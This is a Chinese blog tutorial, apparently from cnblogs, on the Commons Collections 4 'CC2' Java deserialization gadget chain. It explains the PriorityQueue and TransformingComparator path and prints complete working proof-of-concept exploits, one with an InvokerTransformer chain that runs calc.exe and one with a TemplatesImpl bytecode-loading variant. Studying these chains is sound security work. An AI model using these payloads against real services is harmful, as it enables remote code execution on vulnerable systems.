首页 > 编程语言 >Java安全之CC2

Java安全之CC2

时间:2022-11-14 13:44:43浏览次数:59  
标签:Transformer Java Object commons CC2 PriorityQueue 安全 new class

前言

由于在2015年底commons-collections反序列化利⽤链被提出时,Apache Commons Collections有以下两个分⽀版本:

  • commons-collections:commons-collections

  • org.apache.commons:commons-collections4

可⻅,groupId和artifactId都变了。前者是Commons Collections⽼的版本包,当时版本号是3.2.1;后 者是官⽅在2013年推出的4版本,当时版本号是4.0。

官⽅认为旧的commons-collections有⼀些架构和API设计上的问题,但修复这些问题,会产⽣⼤量不能 向前兼容的改动。所以,commons-collections4不再认为是⼀个⽤来替换commons-collections的新版 本,⽽是⼀个新的包,两者的命名空间不冲突,因此可以共存在同⼀个项⽬中。 那么很⾃然有个问题,既然3.2.1中存在反序列化利⽤链,那么4.0版本是否存在呢?

commons-collections4的改动

因为这⼆者可以共存,所以我可以将两个包安装到同⼀个项⽬中进⾏⽐较:

<dependencies>
 <!-- https://mvnrepository.com/artifact/commons-collections/commonscollections -->
 	<dependency>
 		<groupId>commons-collections</groupId>
 		<artifactId>commons-collections</artifactId>
 		<version>3.2.1</version>
 	</dependency>
 <!-- https://mvnrepository.com/artifact/org.apache.commons/commonscollections4 -->
 	<dependency>
 		<groupId>org.apache.commons</groupId>
 		<artifactId>commons-collections4</artifactId>
 		<version>4.0</version>
 </dependency>
</dependencies

因为⽼的Gadget中依赖的包名都是org.apache.commons.collections ,⽽新的包名已经变 了,是org.apache.commons.collections4 。 我们⽤已经熟悉的CC6利⽤链做个例⼦,我们直接把代码拷⻉⼀遍,然后将所import org.apache.commons.collections.* 改成 import org.apache.commons.collections4.* 。 此时IDE爆出了⼀个错误,原因是LazyMap.decorate这个⽅法没了:

image-20221113163408075

看下decorate的定义,⾮常简单:

public static Map decorate(Map map, Transformer factory) {
 	return new LazyMap(map, factory);
}

这个⽅法不过就是LazyMap构造函数的⼀个包装,⽽在4中其实只是改了个名字叫lazyMap

public static <V, K> LazyMap<K, V> lazyMap(final Map<K, V> map, final
Transformer<? super K, ? extends V> factory) {
  return new LazyMap<K,V>(map, factory);
}

所以,我们将Gadget中出错的代码换⼀下名字:

Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);

image-20221113163615717

同理,之前的CC1,CC3利用链都可以在commonscollections4中正常使用

commons-collections之所以有许多利⽤链,除了因为其使⽤量⼤,技术上的原因是其 中包含了⼀些可以执⾏任意⽅法的Transformer。所以在commons-collections中找Gadget的过 程,实际上可以简化为,找⼀条从 Serializable#readObject()⽅法到 Transformer#transform()⽅法的调⽤链。

CC2

其中两个关键类:

  • java.util.PriorityQueue -
  • org.apache.commons.collections4.comparators.TransformingComparator

java.util.PriorityQueue是⼀个有⾃⼰readObject()⽅法的类:

image-20221113164323444

org.apache.commons.collections4.comparators.TransformingComparator 中有调 ⽤transform()⽅法的函数:

public int compare(final I obj1, final I obj2) {
 	final O value1 = this.transformer.transform(obj1);
	final O value2 = this.transformer.transform(obj2);
 	return this.decorated.compare(value1, value2);
}

所以CC2实际就是⼀条从 PriorityQueueTransformingComparator的利⽤链

/*
	Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
			PriorityQueue.heapify()
			PriorityQueue.siftDown()
			PriorityQueue.siftDownUsingComparator()
			
					TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()
 */

关于 PriorityQueue 这个数据结构的具体原理,可以参考这篇⽂章:https://www.cnblogs.com/linghu-java/p/9467805.html

开始编写POC,⾸先,还是创建Transformer:

Transformer[] fakeTransformers = new Transformer[] {
   				 new ConstantTransformer(1)};
Transformer[] transformers= new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[] {String.class},
                        new String[]{"calc.exe"}
                )};
        Transformer chain = new ChainedTransformer(transformers);

再创建⼀个TransformingComparator,传⼊我们的Transformer

Comparator comparator = new TransformingComparator(chain)

实例化PriorityQueue对象,第⼀个参数是初始化时的⼤⼩,⾄少需要2个元素才会触发排序和⽐较, 所以是2;第⼆个参数是⽐较时的Comparator,传⼊前⾯实例化的comparator

PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);

后⾯随便添加了2个数字进去,这⾥可以传⼊⾮null的任意对象,因为我们的Transformer是忽略传⼊参数的。 最后,将真正的恶意Transformer设置上,

setFieldValue(transformerChain, "iTransformers", transformers)

完整poc如下

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

public class CC2 {
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

        public static void main(String[] args) throws Exception{
            Transformer[] fakeTransformers = new Transformer[]{
                    new ConstantTransformer(1)};
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class, Object[].class},
                            new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class},
                            new String[]{"calc.exe"}
                    )};

            Transformer chain = new ChainedTransformer(fakeTransformers);
            Comparator comparator = new TransformingComparator(chain);

            PriorityQueue queue = new PriorityQueue(2, comparator);
            queue.add(1);
            queue.add(2);

            setFieldValue(chain, "iTransformers", transformers);

            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(queue);
            oos.close();
            System.out.println(barr);

            ObjectInputStream ois = new ObjectInputStream(new
                    ByteArrayInputStream(barr.toByteArray()));
            Object o = (Object) ois.readObject();


        }
    }

image-20221113172411046

CC2改进

前边说过了利⽤TemplatesImpl可以构造出⽆Transformer数组的利⽤链,可以将CC2这条链也进行改造。

public class CommonsCollections2TemplatesImpl {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    protected static byte[] getBytescode() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(evil.EvilTemplatesImpl.class.getName());
        return clazz.toBytecode();
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("toString", null, null);
        Comparator comparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(obj);
        queue.add(obj);

        setFieldValue(transformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

标签:Transformer,Java,Object,commons,CC2,PriorityQueue,安全,new,class
From: https://www.cnblogs.com/gk0d/p/16886428.html

相关文章

  • Java多线程(一)
    一.线程的生命周期及五种基本状态关于Java中线程的生命周期,首先看一下下面这张较为经典的图:   上图中基本上囊括了Java中多线程各重要知识点。掌握了上图中的各知......
  • Java 几分钟处理完 30 亿个数据?
    1.场景说明现有一个10G文件的数据,里面包含了18-70之间的整数,分别表示18-70岁的人群数量统计。假设年龄范围分布均匀,分别表示系统中所有用户的年龄数,找出重复次数最多......
  • javascript尾递归优化
    JS中的递归我们来看一个阶乘的代码functionfoo(n){if(n<=1){return1;}returnn*foo(n-1);}foo(5);//120下面分析一下,代码运行过程中,......
  • javascript 高级编程 之 Array 用法总结
    引用类型是一种数据结构,用于将数据和功能联系起来。创建对象的方式:1.new操作符vararray=newArray();2.字面量表示法创建vararray=[];Array检测数组:检测数组......
  • Java多线程简介
    一、线程简介Process进程与Thread线程程序是指令和数据的有序集合,本身没有任何运行的含义,为静态概念。进程是执行程序的一次执行过程,为动态概念。是系统资源分配的单位......
  • 2022-2023-1 20211408 《信息安全专业导论》第十二周学习总结
    2021-2022-120211408《信息安全专业导论》第十二周学习总结2021-2022-120211408《信息安全专业导论》第十二周学习总结作业信息作业模板:https://www.cnblogs.com/ro......
  • Java的安装及开发环境
    卸载JDK删除Java的安装目录删除Java_HOME删除path下关于Java的目录Java-version安装JDK找到JDK官网,同意协议并下载http://www.oracle.com/technetwork......
  • Web前端开发技术课程大作业,期末考试HTML+CSS+JavaScript电竞游戏介绍网站
    ......
  • Java项目精选|Java毕业设计项目源码
    【IT学长】Java项目精选,做毕业设计、课程设计、入门项目实战的伙伴可以参考项目名称:​​《SSM+MySQL+JSP教务管理系统设计与实现(附源码下载地址)》​​使用技术:Java+Sprin......
  • 又一巨头从 Java 迁移到 Kotlin,简直很无语。。
    出品|OSC开源社区(ID:oschina2013)Meta发布了一篇博客表示,正在将其Android应用的Java代码迁移到Kotlin,并分享了这一过程中的一些经验。该公司认为,Kotlin是一种流......